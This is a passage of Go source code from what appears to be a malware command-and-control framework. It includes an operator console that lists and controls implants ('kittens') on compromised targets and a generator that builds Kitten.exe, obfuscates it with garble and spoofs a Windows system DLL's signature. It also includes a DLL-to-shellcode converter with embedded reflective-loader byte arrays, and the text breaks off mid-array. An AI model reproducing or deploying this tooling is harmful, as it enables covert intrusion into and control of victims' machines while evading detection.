44 | return
45 | }
46 | }
47 |
48 | // sleep change the sleep time of a target
49 | func sleep(in []string, kittenName string) {
50 | if len(in) != 2 {
51 | util.ErrPrint(fmt.Errorf("invalid input"))
52 | return
53 | }
54 | time, err := strconv.Atoi(in[1])
55 | if err != nil {
56 | util.ErrPrint(err)
57 | return
58 | }
59 | err = http.HostSleep(time, kittenName)
60 | if err != nil {
61 | return
62 | }
63 | }
64 |
65 | // interact switch to interactive mode
66 | func interact() {
67 | printTarget()
68 | if len(http.Targets) == 0 {
69 | fmt.Println(color.Red("No targets"))
70 | return
71 | }
72 | //diretly interact with a target
73 | if len(http.Targets) == 1 {
74 | for _, v := range http.Targets {
75 | err := Interact(v.GetName())
76 | if err != nil {
77 | return
78 | }
79 | return
80 | }
81 | }
82 | fmt.Printf("%s", color.Yellow("[*] Please enter the id of the kitten"))
83 | id, err := i.Read("id: ")
84 | if err != nil {
85 | util.ErrPrint(err)
86 | return
87 | }
88 | s, err := strconv.Atoi(id)
89 | if err != nil {
90 | util.ErrPrint(fmt.Errorf("invalid input"))
91 | return
92 | }
93 | kittenName, err := findId(s)
94 | if err != nil {
95 | util.ErrPrint(err)
96 | return
97 | }
98 | if _, ok := http.Targets[kittenName]; !ok {
99 | util.ErrPrint(fmt.Errorf("invalid id"))
100 | return
101 | }
102 | if !http.Targets[kittenName].GetAlive() {
103 | util.ErrPrint(fmt.Errorf("this kittens is dead"))
104 | return
105 | }
106 | fmt.Println()
107 | err = Interact(http.Targets[kittenName].GetName())
108 | if err != nil {
109 | util.ErrPrint(err)
110 | return
111 | }
112 | }
113 |
114 | // printTarget print the targets
115 | func printTarget() {
116 | fmt.Printf("\n%s\n", color.Green("[*] Targets:"))
117 | fmt.Printf("%s\n", color.Green("Id:\tKitten name:\tIp:\t\tHostname:\t\tLast seen:\tSleep:\tAlive:"))
118 | fmt.Printf("%s\n", color.Green("═══\t════════════\t═══\t\t═════════\t\t══════════\t══════\t══════"))
119 |
120 | for name, x := range http.Targets {
121 | var e string
122 | if x.GetAlive() {
123 | e = "Yes"
124 | fmt.Printf("%d\t%s\t\t%s\t%s\t\t%s\t%d\t%s\n",
125 | x.GetId(),
126 | color.Yellow(name),
127 | color.Yellow(x.InitChecks.GetIp()),
128 | color.Yellow(x.InitChecks.GetHostname()),
129 | color.Yellow(x.GetLastSeen().Format("15:04:05")),
130 | color.Yellow(x.GetSleep()),
131 | color.Yellow(e))
132 |
133 | } else {
134 | e = "No 💀"
135 | fmt.Printf("%d\t%s\t\t%s\t%s\t\t%s\t%d\t%s\n",
136 | x.GetId(),
137 | color.Red(name),
138 | color.Red(x.InitChecks.GetIp()),
139 | color.Red(x.InitChecks.GetHostname()),
140 | color.Red(x.GetLastSeen().Format("15:04:05")),
141 | color.Red(x.GetSleep()),
142 | color.Red(e))
143 |
144 | }
145 | }
146 | fmt.Println()
147 | }
148 |
149 | // findId find the id of a target
150 | func findId(id int) (string, error) {
151 | for _, x := range http.Targets {
152 | if x.GetId() == id {
153 | return x.GetName(), nil
154 | }
155 | }
156 | return "", fmt.Errorf("invalid id")
157 | }
158 |
159 | // printConfig print the config
160 | func printConfig(conf config.General) {
161 | fmt.Printf("\n%s\t\t%s\n", color.Green("Host:"), color.Yellow(conf.GetHost()))
162 | fmt.Printf("%s\t\t%d\n", color.Green("Port:"), color.Yellow(conf.GetPort()))
163 | fmt.Printf("%s\t%s\n", color.Green("Endpoint:"), color.Yellow(conf.GetEndpoint()))
164 | fmt.Printf("%s\t%s\n", color.Green("UserAgent:"), color.Yellow(conf.GetUserAgent()))
165 | fmt.Printf("%s\t\t%d\n", color.Green("Sleep:"), color.Yellow(conf.GetSleep()))
166 | for _, v := range conf.GetMalPath() {
167 | fmt.Printf("%s\t%s\n", color.Green("Malware path:"), color.Yellow(v))
168 | }
169 | fmt.Println()
170 | }
171 |
172 | func genMalwareQuick() error {
173 | var compiler string
174 | outputPath := "./output/Kitten.exe"
175 | fmt.Println(color.Yellow(outputPath))
176 | fmt.Println("Generating a new kittens")
177 | kittenList, err := generate.NewKittenList()
178 | names := kittenList.GetKittenNames()
179 | if err != nil {
180 | return err
181 | }
182 |
183 | fmt.Printf("%s\n%s\n", color.Yellow("0 : go"), color.Yellow("1 : garble"))
184 | fmt.Printf("\n%s\n", color.Yellow("[!] Please chose the compiler"))
185 | id, err := i.Read("id: ")
186 | if err != nil {
187 | return err
188 | }
189 | s, err := strconv.Atoi(id)
190 | if s != 0 && s != 1 {
191 | return fmt.Errorf("invalid input")
192 | }
193 | if s == 0 {
194 | compiler = "go"
195 | } else {
196 | compiler = "garble"
197 | }
198 | fmt.Println()
199 | printKittens(names)
200 | //select a kitten
201 | fmt.Printf("\n%s\n", color.Yellow("[!] Please enter the id of the kitten to generate"))
202 | id, err = i.Read("id: ")
203 | if err != nil {
204 | return err
205 | }
206 | s, err = strconv.Atoi(id)
207 | if err != nil {
208 | return fmt.Errorf("invalid choice")
209 | }
210 | path, err := kittenList.GetKittensPath(names[s])
211 | if err != nil {
212 | return err
213 | }
214 | spin := spinner.New(spinner.CharSets[23], 100*time.Millisecond)
215 | spin.Start()
216 |
217 | err, out1 := generate.Description(outputPath)
218 | if err != nil {
219 | spin.Stop()
220 | return err
221 | }
222 | var out2 string
223 | if compiler == "go" {
224 | err, out2 = generate.GoBuild(outputPath, path)
225 | if err != nil {
226 | spin.Stop()
227 | return err
228 | }
229 | } else {
230 | err, out2 = generate.GarbleBuild(outputPath, path)
231 | if err != nil {
232 | spin.Stop()
233 | return err
234 | }
235 | }
236 | signedBinary := "C:\\Windows\\System32\\wscsvc.dll"
237 |
238 | err, out3 := generate.Signe(signedBinary, outputPath)
239 | if err != nil {
240 | spin.Stop()
241 | return err
242 | }
243 | spin.Stop()
244 | fmt.Println(color.Green(out1))
245 | fmt.Println(color.Green(out2))
246 | fmt.Println(color.Green(out3))
247 | return error(nil)
248 | }
249 |
250 | func printKittens(names []string) {
251 | fmt.Printf("%s\n", color.Green("Kitten names:"))
252 | for id, v := range names {
253 | fmt.Printf("%d : %s\n", color.Yellow(id), color.Yellow(v))
254 | }
255 | }
256 |
--------------------------------------------------------------------------------
/cmd/srdi/dllToShellcode.go:
--------------------------------------------------------------------------------
1 | package srdi
2 |
3 | // Modifed version of https://gist.github.com/leoloobeek/c726719d25d7e7953d4121bd93dd2ed3
4 |
5 | import (
6 | "encoding/binary"
7 | "math"
8 | )
9 |
10 | // DLLToShellcode converts a DLL to shellcode
11 | func DllToShellcode(dllBytes []byte, functionName string) ([]byte, error) {
12 |
13 | // functionHash is 0x10 by default, otherwise get the hash and convert to bytes
14 | var hashFunction []byte
15 | hashFunctionUint32 := hashFunctionName(functionName)
16 | hashFunction = pack(hashFunctionUint32)
17 |
18 | shellcode := convertToShellcode(dllBytes, hashFunction)
19 | return shellcode, nil
20 |
21 | }
22 |
23 | func convertToShellcode(dllBytes, functionHash []byte) []byte {
24 | rdiShellcode32 := []byte{0x83, 0xEC, 0x48, 0x83, 0x64, 0x24, 0x18, 0x00, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0x53, 0x55, 0x56, 0x57, 0x33, 0xF6, 0xE8, 0x22, 0x04, 0x00, 0x00, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x89, 0x44, 0x24, 0x1C, 0xE8, 0x14, 0x04, 0x00, 0x00, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 0x89, 0x44, 0x24, 0x20, 0xE8, 0x06, 0x04, 0x00, 0x00, 0xB9, 0x10, 0xE1, 0x8A, 0xC3, 0x8B, 0xE8, 0xE8, 0xFA, 0x03, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 0x89, 0x44, 0x24, 0x2C, 0xE8, 0xEC, 0x03, 0x00, 0x00, 0xB9, 0x33, 0x00, 0x9E, 0x95, 0x89, 0x44, 0x24, 0x30, 0xE8, 0xDE, 0x03, 0x00, 0x00, 0x8B, 0xD8, 0x8B, 0x44, 0x24, 0x5C, 0x8B, 0x78, 0x3C, 0x03, 0xF8, 0x89, 0x7C, 0x24, 0x10, 0x81, 0x3F, 0x50, 0x45, 0x00, 0x00, 0x74, 0x07, 0x33, 0xC0, 0xE9, 0xB8, 0x03, 0x00, 0x00, 0xB8, 0x4C, 0x01, 0x00, 0x00, 0x66, 0x39, 0x47, 0x04, 0x75, 0xEE, 0xF6, 0x47, 0x38, 0x01, 0x75, 0xE8, 0x0F, 0xB7, 0x57, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x85, 0xD2, 0x74, 0x22, 0x8D, 0x4F, 0x24, 0x03, 0xC8, 0x83, 0x79, 0x04, 0x00, 0x8B, 0x01, 0x75, 0x05, 0x03, 0x47, 0x38, 0xEB, 0x03, 0x03, 0x41, 0x04, 0x3B, 0xC6, 0x0F, 0x47, 0xF0, 0x83, 0xC1, 0x28, 0x83, 0xEA, 0x01, 0x75, 0xE3, 0x8D, 0x44, 0x24, 0x34, 0x50, 0xFF, 0xD3, 0x8B, 0x44, 0x24, 0x38, 0x8B, 0x5F, 0x50, 0x8D, 0x50, 0xFF, 0x8D, 0x48, 0xFF, 0xF7, 0xD2, 0x48, 0x03, 0xCE, 0x03, 0xC3, 0x23, 0xCA, 0x23, 0xC2, 0x3B, 0xC1, 0x75, 0x97, 0x6A, 0x04, 0x68, 0x00, 0x30, 0x00, 0x00, 0x53, 0x6A, 0x00, 0xFF, 0xD5, 0x8B, 0x77, 0x54, 0x8B, 0xD8, 0x8B, 0x44, 0x24, 0x5C, 0x33, 0xC9, 0x89, 0x44, 0x24, 0x14, 0x8B, 0xD3, 0x33, 0xC0, 0x89, 0x5C, 0x24, 0x18, 0x40, 0x89, 0x44, 0x24, 0x24, 0x85, 0xF6, 0x74, 0x37, 0x8B, 0x6C, 0x24, 0x6C, 0x8B, 0x5C, 0x24, 0x14, 0x23, 0xE8, 0x4E, 0x85, 0xED, 0x74, 0x19, 0x8B, 0xC7, 0x2B, 0x44, 0x24, 0x5C, 0x3B, 0xC8, 0x73, 0x0F, 0x83, 0xF9, 0x3C, 0x72, 0x05, 0x83, 0xF9, 0x3E, 0x76, 0x05, 0xC6, 0x02, 0x00, 0xEB, 0x04, 0x8A, 0x03, 0x88, 0x02, 0x41, 0x43, 0x42, 0x85, 0xF6, 0x75, 0xD7, 0x8B, 0x5C, 0x24, 0x18, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x85, 0xC0, 0x74, 0x38, 0x83, 0xC7, 0x2C, 0x03, 0xCF, 0x8B, 0x7C, 0x24, 0x5C, 0x8B, 0x51, 0xF8, 0x48, 0x8B, 0x31, 0x03, 0xD3, 0x8B, 0x69, 0xFC, 0x03, 0xF7, 0x89, 0x44, 0x24, 0x5C, 0x85, 0xED, 0x74, 0x0F, 0x8A, 0x06, 0x88, 0x02, 0x42, 0x46, 0x83, 0xED, 0x01, 0x75, 0xF5, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC1, 0x28, 0x85, 0xC0, 0x75, 0xD5, 0x8B, 0x7C, 0x24, 0x10, 0x8B, 0xB7, 0x80, 0x00, 0x00, 0x00, 0x03, 0xF3, 0x89, 0x74, 0x24, 0x14, 0x8B, 0x46, 0x0C, 0x85, 0xC0, 0x74, 0x7D, 0x03, 0xC3, 0x50, 0xFF, 0x54, 0x24, 0x20, 0x8B, 0x6E, 0x10, 0x8B, 0xF8, 0x8B, 0x06, 0x03, 0xEB, 0x03, 0xC3, 0x89, 0x44, 0x24, 0x5C, 0x83, 0x7D, 0x00, 0x00, 0x74, 0x4F, 0x8B, 0x74, 0x24, 0x20, 0x8B, 0x08, 0x85, 0xC9, 0x74, 0x1E, 0x79, 0x1C, 0x8B, 0x47, 0x3C, 0x0F, 0xB7, 0xC9, 0x8B, 0x44, 0x38, 0x78, 0x2B, 0x4C, 0x38, 0x10, 0x8B, 0x44, 0x38, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x38, 0x03, 0xC7, 0xEB, 0x0C, 0x8B, 0x45, 0x00, 0x83, 0xC0, 0x02, 0x03, 0xC3, 0x50, 0x57, 0xFF, 0xD6, 0x89, 0x45, 0x00, 0x83, 0xC5, 0x04, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x5C, 0x83, 0x7D, 0x00, 0x00, 0x75, 0xB9, 0x8B, 0x74, 0x24, 0x14, 0x8B, 0x46, 0x20, 0x83, 0xC6, 0x14, 0x89, 0x74, 0x24, 0x14, 0x85, 0xC0, 0x75, 0x87, 0x8B, 0x7C, 0x24, 0x10, 0x8B, 0xEB, 0x2B, 0x6F, 0x34, 0x83, 0xBF, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0xAA, 0x00, 0x00, 0x00, 0x8B, 0x97, 0xA0, 0x00, 0x00, 0x00, 0x03, 0xD3, 0x89, 0x54, 0x24, 0x5C, 0x8D, 0x4A, 0x04, 0x8B, 0x01, 0x89, 0x4C, 0x24, 0x14, 0x85, 0xC0, 0x0F, 0x84, 0x8D, 0x00, 0x00, 0x00, 0x8B, 0x32, 0x8D, 0x78, 0xF8, 0x03, 0xF3, 0x8D, 0x42, 0x08, 0xD1, 0xEF, 0x89, 0x44, 0x24, 0x20, 0x74, 0x60, 0x6A, 0x02, 0x8B, 0xD8, 0x5A, 0x0F, 0xB7, 0x0B, 0x4F, 0x66, 0x8B, 0xC1, 0x66, 0xC1, 0xE8, 0x0C, 0x66, 0x83, 0xF8, 0x0A, 0x74, 0x06, 0x66, 0x83, 0xF8, 0x03, 0x75, 0x0B, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x01, 0x2C, 0x31, 0xEB, 0x27, 0x66, 0x3B, 0x44, 0x24, 0x24, 0x75, 0x11, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x8B, 0xC5, 0xC1, 0xE8, 0x10, 0x66, 0x01, 0x04, 0x31, 0xEB, 0x0F, 0x66, 0x3B, 0xC2, 0x75, 0x0A, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x66, 0x01, 0x2C, 0x31, 0x03, 0xDA, 0x85, 0xFF, 0x75, 0xB1, 0x8B, 0x5C, 0x24, 0x18, 0x8B, 0x54, 0x24, 0x5C, 0x8B, 0x4C, 0x24, 0x14, 0x03, 0x11, 0x89, 0x54, 0x24, 0x5C, 0x8D, 0x4A, 0x04, 0x8B, 0x01, 0x89, 0x4C, 0x24, 0x14, 0x85, 0xC0, 0x0F, 0x85, 0x77, 0xFF, 0xFF, 0xFF, 0x8B, 0x7C, 0x24, 0x10, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x85, 0xC0, 0x0F, 0x84, 0xB7, 0x00, 0x00, 0x00, 0x8B, 0x74, 0x24, 0x5C, 0x8D, 0x6F, 0x3C, 0x03, 0xE9, 0x48, 0x83, 0x7D, 0xEC, 0x00, 0x89, 0x44, 0x24, 0x24, 0x0F, 0x86, 0x94, 0x00, 0x00, 0x00, 0x8B, 0x4D, 0x00, 0x33, 0xD2, 0x42, 0x8B, 0xC1, 0xC1, 0xE8, 0x1D, 0x23, 0xC2, 0x8B, 0xD1, 0xC1, 0xEA, 0x1E, 0x83, 0xE2, 0x01, 0xC1, 0xE9, 0x1F, 0x85, 0xC0, 0x75, 0x18, 0x85, 0xD2, 0x75, 0x07, 0x6A, 0x08, 0x5E, 0x6A, 0x01, 0xEB, 0x05, 0x6A, 0x04, 0x5E, 0x6A, 0x02, 0x85, 0xC9, 0x58, 0x0F, 0x44, 0xF0, 0xEB, 0x2C, 0x85, 0xD2, 0x75, 0x17, 0x85, 0xC9, 0x75, 0x04, 0x6A, 0x10, 0xEB, 0x15, 0x85, 0xD2, 0x75, 0x0B, 0x85, 0xC9, 0x74, 0x18, 0xBE, 0x80, 0x00, 0x00, 0x00, 0xEB, 0x11, 0x85, 0xC9, 0x75, 0x05, 0x6A, 0x20, 0x5E, 0xEB, 0x08, 0x6A, 0x40, 0x85, 0xC9, 0x58, 0x0F, 0x45, 0xF0, 0x8B, 0x4D, 0x00, 0x8B, 0xC6, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x81, 0xE1, 0x00, 0x00, 0x00, 0x04, 0x0F, 0x44, 0xC6, 0x8B, 0xF0, 0x8D, 0x44, 0x24, 0x28, 0x50, 0x8B, 0x45, 0xE8, 0x56, 0xFF, 0x75, 0xEC, 0x03, 0xC3, 0x50, 0xFF, 0x54, 0x24, 0x3C, 0x85, 0xC0, 0x0F, 0x84, 0xEC, 0xFC, 0xFF, 0xFF, 0x8B, 0x44, 0x24, 0x24, 0x83, 0xC5, 0x28, 0x85, 0xC0, 0x0F, 0x85, 0x52, 0xFF, 0xFF, 0xFF, 0x8B, 0x77, 0x28, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0xFF, 0x03, 0xF3, 0xFF, 0x54, 0x24, 0x3C, 0x33, 0xC0, 0x40, 0x50, 0x50, 0x53, 0xFF, 0xD6, 0x83, 0x7C, 0x24, 0x60, 0x00, 0x74, 0x7C, 0x83, 0x7F, 0x7C, 0x00, 0x74, 0x76, 0x8B, 0x4F, 0x78, 0x03, 0xCB, 0x8B, 0x41, 0x18, 0x85, 0xC0, 0x74, 0x6A, 0x83, 0x79, 0x14, 0x00, 0x74, 0x64, 0x8B, 0x69, 0x20, 0x8B, 0x79, 0x24, 0x03, 0xEB, 0x83, 0x64, 0x24, 0x5C, 0x00, 0x03, 0xFB, 0x85, 0xC0, 0x74, 0x51, 0x8B, 0x75, 0x00, 0x03, 0xF3, 0x33, 0xD2, 0x0F, 0xBE, 0x06, 0xC1, 0xCA, 0x0D, 0x03, 0xD0, 0x46, 0x80, 0x7E, 0xFF, 0x00, 0x75, 0xF1, 0x39, 0x54, 0x24, 0x60, 0x74, 0x16, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC5, 0x04, 0x40, 0x83, 0xC7, 0x02, 0x89, 0x44, 0x24, 0x5C, 0x3B, 0x41, 0x18, 0x72, 0xD0, 0xEB, 0x1F, 0x0F, 0xB7, 0x17, 0x83, 0xFA, 0xFF, 0x74, 0x17, 0x8B, 0x41, 0x1C, 0xFF, 0x74, 0x24, 0x68, 0xFF, 0x74, 0x24, 0x68, 0x8D, 0x04, 0x90, 0x8B, 0x04, 0x18, 0x03, 0xC3, 0xFF, 0xD0, 0x59, 0x59, 0x8B, 0xC3, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 0xC4, 0x48, 0xC3, 0x83, 0xEC, 0x10, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8B, 0x40, 0x0C, 0x57, 0x89, 0x4C, 0x24, 0x18, 0x8B, 0x70, 0x0C, 0xE9, 0x8A, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x30, 0x33, 0xC9, 0x8B, 0x5E, 0x2C, 0x8B, 0x36, 0x89, 0x44, 0x24, 0x14, 0x8B, 0x42, 0x3C, 0x8B, 0x6C, 0x10, 0x78, 0x89, 0x6C, 0x24, 0x10, 0x85, 0xED, 0x74, 0x6D, 0xC1, 0xEB, 0x10, 0x33, 0xFF, 0x85, 0xDB, 0x74, 0x1F, 0x8B, 0x6C, 0x24, 0x14, 0x8A, 0x04, 0x2F, 0xC1, 0xC9, 0x0D, 0x3C, 0x61, 0x0F, 0xBE, 0xC0, 0x7C, 0x03, 0x83, 0xC1, 0xE0, 0x03, 0xC8, 0x47, 0x3B, 0xFB, 0x72, 0xE9, 0x8B, 0x6C, 0x24, 0x10, 0x8B, 0x44, 0x2A, 0x20, 0x33, 0xDB, 0x8B, 0x7C, 0x2A, 0x18, 0x03, 0xC2, 0x89, 0x7C, 0x24, 0x14, 0x85, 0xFF, 0x74, 0x31, 0x8B, 0x28, 0x33, 0xFF, 0x03, 0xEA, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x1C, 0x0F, 0xBE, 0x45, 0x00, 0xC1, 0xCF, 0x0D, 0x03, 0xF8, 0x45, 0x80, 0x7D, 0xFF, 0x00, 0x75, 0xF0, 0x8D, 0x04, 0x0F, 0x3B, 0x44, 0x24, 0x18, 0x74, 0x20, 0x8B, 0x44, 0x24, 0x1C, 0x43, 0x3B, 0x5C, 0x24, 0x14, 0x72, 0xCF, 0x8B, 0x56, 0x18, 0x85, 0xD2, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC0, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 0xC4, 0x10, 0xC3, 0x8B, 0x74, 0x24, 0x10, 0x8B, 0x44, 0x16, 0x24, 0x8D, 0x04, 0x58, 0x0F, 0xB7, 0x0C, 0x10, 0x8B, 0x44, 0x16, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x10, 0x03, 0xC2, 0xEB, 0xDB}
25 | rdiShellcode64 := []byte{0x48, 0x8B, 0xC4, 0x44, 0x89, 0x48, 0x20, 0x4C, 0x89, 0x40, 0x18, 0x89, 0x50, 0x10, 0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x78, 0x83, 0x60, 0x08, 0x00, 0x48, 0x8B, 0xE9, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0x44, 0x8B, 0xFA, 0x33, 0xDB, 0xE8, 0xA4, 0x04, 0x00, 0x00, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x4C, 0x8B, 0xE8, 0xE8, 0x97, 0x04, 0x00, 0x00, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 0x48, 0x89, 0x44, 0x24, 0x20, 0xE8, 0x88, 0x04, 0x00, 0x00, 0xB9, 0x10, 0xE1, 0x8A, 0xC3, 0x48, 0x8B, 0xF0, 0xE8, 0x7B, 0x04, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 0x48, 0x89, 0x44, 0x24, 0x30, 0xE8, 0x6C, 0x04, 0x00, 0x00, 0xB9, 0x33, 0x00, 0x9E, 0x95, 0x48, 0x89, 0x44, 0x24, 0x28, 0x4C, 0x8B, 0xE0, 0xE8, 0x5A, 0x04, 0x00, 0x00, 0x48, 0x63, 0x7D, 0x3C, 0x4C, 0x8B, 0xD0, 0x48, 0x03, 0xFD, 0x81, 0x3F, 0x50, 0x45, 0x00, 0x00, 0x74, 0x07, 0x33, 0xC0, 0xE9, 0x2D, 0x04, 0x00, 0x00, 0xB8, 0x64, 0x86, 0x00, 0x00, 0x66, 0x39, 0x47, 0x04, 0x75, 0xEE, 0x41, 0xBE, 0x01, 0x00, 0x00, 0x00, 0x44, 0x84, 0x77, 0x38, 0x75, 0xE2, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x44, 0x8B, 0x4F, 0x38, 0x85, 0xC0, 0x74, 0x2C, 0x48, 0x8D, 0x57, 0x24, 0x44, 0x8B, 0xC0, 0x48, 0x03, 0xD1, 0x8B, 0x4A, 0x04, 0x85, 0xC9, 0x75, 0x07, 0x8B, 0x02, 0x49, 0x03, 0xC1, 0xEB, 0x04, 0x8B, 0x02, 0x03, 0xC1, 0x48, 0x3B, 0xC3, 0x48, 0x0F, 0x47, 0xD8, 0x48, 0x83, 0xC2, 0x28, 0x4D, 0x2B, 0xC6, 0x75, 0xDE, 0x48, 0x8D, 0x4C, 0x24, 0x38, 0x41, 0xFF, 0xD2, 0x44, 0x8B, 0x44, 0x24, 0x3C, 0x44, 0x8B, 0x4F, 0x50, 0x41, 0x8D, 0x40, 0xFF, 0xF7, 0xD0, 0x41, 0x8D, 0x50, 0xFF, 0x41, 0x03, 0xD1, 0x49, 0x8D, 0x48, 0xFF, 0x48, 0x23, 0xD0, 0x48, 0x03, 0xCB, 0x49, 0x8D, 0x40, 0xFF, 0x48, 0xF7, 0xD0, 0x48, 0x23, 0xC8, 0x48, 0x3B, 0xD1, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC9, 0x41, 0x8B, 0xD1, 0x41, 0xB8, 0x00, 0x30, 0x00, 0x00, 0x44, 0x8D, 0x49, 0x04, 0xFF, 0xD6, 0x44, 0x8B, 0x47, 0x54, 0x33, 0xD2, 0x48, 0x8B, 0xF0, 0x4C, 0x8B, 0xD5, 0x48, 0x8B, 0xC8, 0x44, 0x8D, 0x5A, 0x02, 0x4D, 0x85, 0xC0, 0x74, 0x3F, 0x44, 0x8B, 0x8C, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x45, 0x23, 0xCE, 0x4D, 0x2B, 0xC6, 0x45, 0x85, 0xC9, 0x74, 0x19, 0x48, 0x8B, 0xC7, 0x48, 0x2B, 0xC5, 0x48, 0x3B, 0xD0, 0x73, 0x0E, 0x48, 0x8D, 0x42, 0xC4, 0x49, 0x3B, 0xC3, 0x76, 0x05, 0xC6, 0x01, 0x00, 0xEB, 0x05, 0x41, 0x8A, 0x02, 0x88, 0x01, 0x49, 0x03, 0xD6, 0x4D, 0x03, 0xD6, 0x49, 0x03, 0xCE, 0x4D, 0x85, 0xC0, 0x75, 0xCC, 0x44, 0x0F, 0xB7, 0x57, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x4D, 0x85, 0xD2, 0x74, 0x38, 0x48, 0x8D, 0x4F, 0x2C, 0x48, 0x03, 0xC8, 0x8B, 0x51, 0xF8, 0x4D, 0x2B, 0xD6, 0x44, 0x8B, 0x01, 0x48, 0x03, 0xD6, 0x44, 0x8B, 0x49, 0xFC, 0x4C, 0x03, 0xC5, 0x4D, 0x85, 0xC9, 0x74, 0x10, 0x41, 0x8A, 0x00, 0x4D, 0x03, 0xC6, 0x88, 0x02, 0x49, 0x03, 0xD6, 0x4D, 0x2B, 0xCE, 0x75, 0xF0, 0x48, 0x83, 0xC1, 0x28, 0x4D, 0x85, 0xD2, 0x75, 0xCF, 0x8B, 0x9F, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xDE, 0x8B, 0x43, 0x0C, 0x85, 0xC0, 0x0F, 0x84, 0x8A, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x6C, 0x24, 0x20, 0x8B, 0xC8, 0x48, 0x03, 0xCE, 0x41, 0xFF, 0xD5, 0x44, 0x8B, 0x3B, 0x4C, 0x8B, 0xE0, 0x44, 0x8B, 0x73, 0x10, 0x4C, 0x03, 0xFE, 0x4C, 0x03, 0xF6, 0xEB, 0x49, 0x49, 0x83, 0x3F, 0x00, 0x7D, 0x29, 0x49, 0x63, 0x44, 0x24, 0x3C, 0x41, 0x0F, 0xB7, 0x17, 0x42, 0x8B, 0x8C, 0x20, 0x88, 0x00, 0x00, 0x00, 0x42, 0x8B, 0x44, 0x21, 0x10, 0x42, 0x8B, 0x4C, 0x21, 0x1C, 0x48, 0x2B, 0xD0, 0x49, 0x03, 0xCC, 0x8B, 0x04, 0x91, 0x49, 0x03, 0xC4, 0xEB, 0x0F, 0x49, 0x8B, 0x16, 0x49, 0x8B, 0xCC, 0x48, 0x83, 0xC2, 0x02, 0x48, 0x03, 0xD6, 0xFF, 0xD5, 0x49, 0x89, 0x06, 0x49, 0x83, 0xC6, 0x08, 0x49, 0x83, 0xC7, 0x08, 0x49, 0x83, 0x3E, 0x00, 0x75, 0xB1, 0x8B, 0x43, 0x20, 0x48, 0x83, 0xC3, 0x14, 0x85, 0xC0, 0x75, 0x8C, 0x44, 0x8B, 0xBC, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x44, 0x8D, 0x70, 0x01, 0x4C, 0x8B, 0x64, 0x24, 0x28, 0x4C, 0x8B, 0xCE, 0x41, 0xBD, 0x02, 0x00, 0x00, 0x00, 0x4C, 0x2B, 0x4F, 0x30, 0x83, 0xBF, 0xB4, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x95, 0x00, 0x00, 0x00, 0x8B, 0x97, 0xB0, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD6, 0x8B, 0x42, 0x04, 0x85, 0xC0, 0x0F, 0x84, 0x81, 0x00, 0x00, 0x00, 0xBB, 0xFF, 0x0F, 0x00, 0x00, 0x44, 0x8B, 0x02, 0x4C, 0x8D, 0x5A, 0x08, 0x44, 0x8B, 0xD0, 0x4C, 0x03, 0xC6, 0x49, 0x83, 0xEA, 0x08, 0x49, 0xD1, 0xEA, 0x74, 0x59, 0x41, 0x0F, 0xB7, 0x0B, 0x4D, 0x2B, 0xD6, 0x0F, 0xB7, 0xC1, 0x66, 0xC1, 0xE8, 0x0C, 0x66, 0x83, 0xF8, 0x0A, 0x75, 0x09, 0x48, 0x23, 0xCB, 0x4E, 0x01, 0x0C, 0x01, 0xEB, 0x34, 0x66, 0x83, 0xF8, 0x03, 0x75, 0x09, 0x48, 0x23, 0xCB, 0x46, 0x01, 0x0C, 0x01, 0xEB, 0x25, 0x66, 0x41, 0x3B, 0xC6, 0x75, 0x11, 0x48, 0x23, 0xCB, 0x49, 0x8B, 0xC1, 0x48, 0xC1, 0xE8, 0x10, 0x66, 0x42, 0x01, 0x04, 0x01, 0xEB, 0x0E, 0x66, 0x41, 0x3B, 0xC5, 0x75, 0x08, 0x48, 0x23, 0xCB, 0x66, 0x46, 0x01, 0x0C, 0x01, 0x4D, 0x03, 0xDD, 0x4D, 0x85, 0xD2, 0x75, 0xA7, 0x8B, 0x42, 0x04, 0x48, 0x03, 0xD0, 0x8B, 0x42, 0x04, 0x85, 0xC0, 0x75, 0x84, 0x0F, 0xB7, 0x6F, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x48, 0x85, 0xED, 0x0F, 0x84, 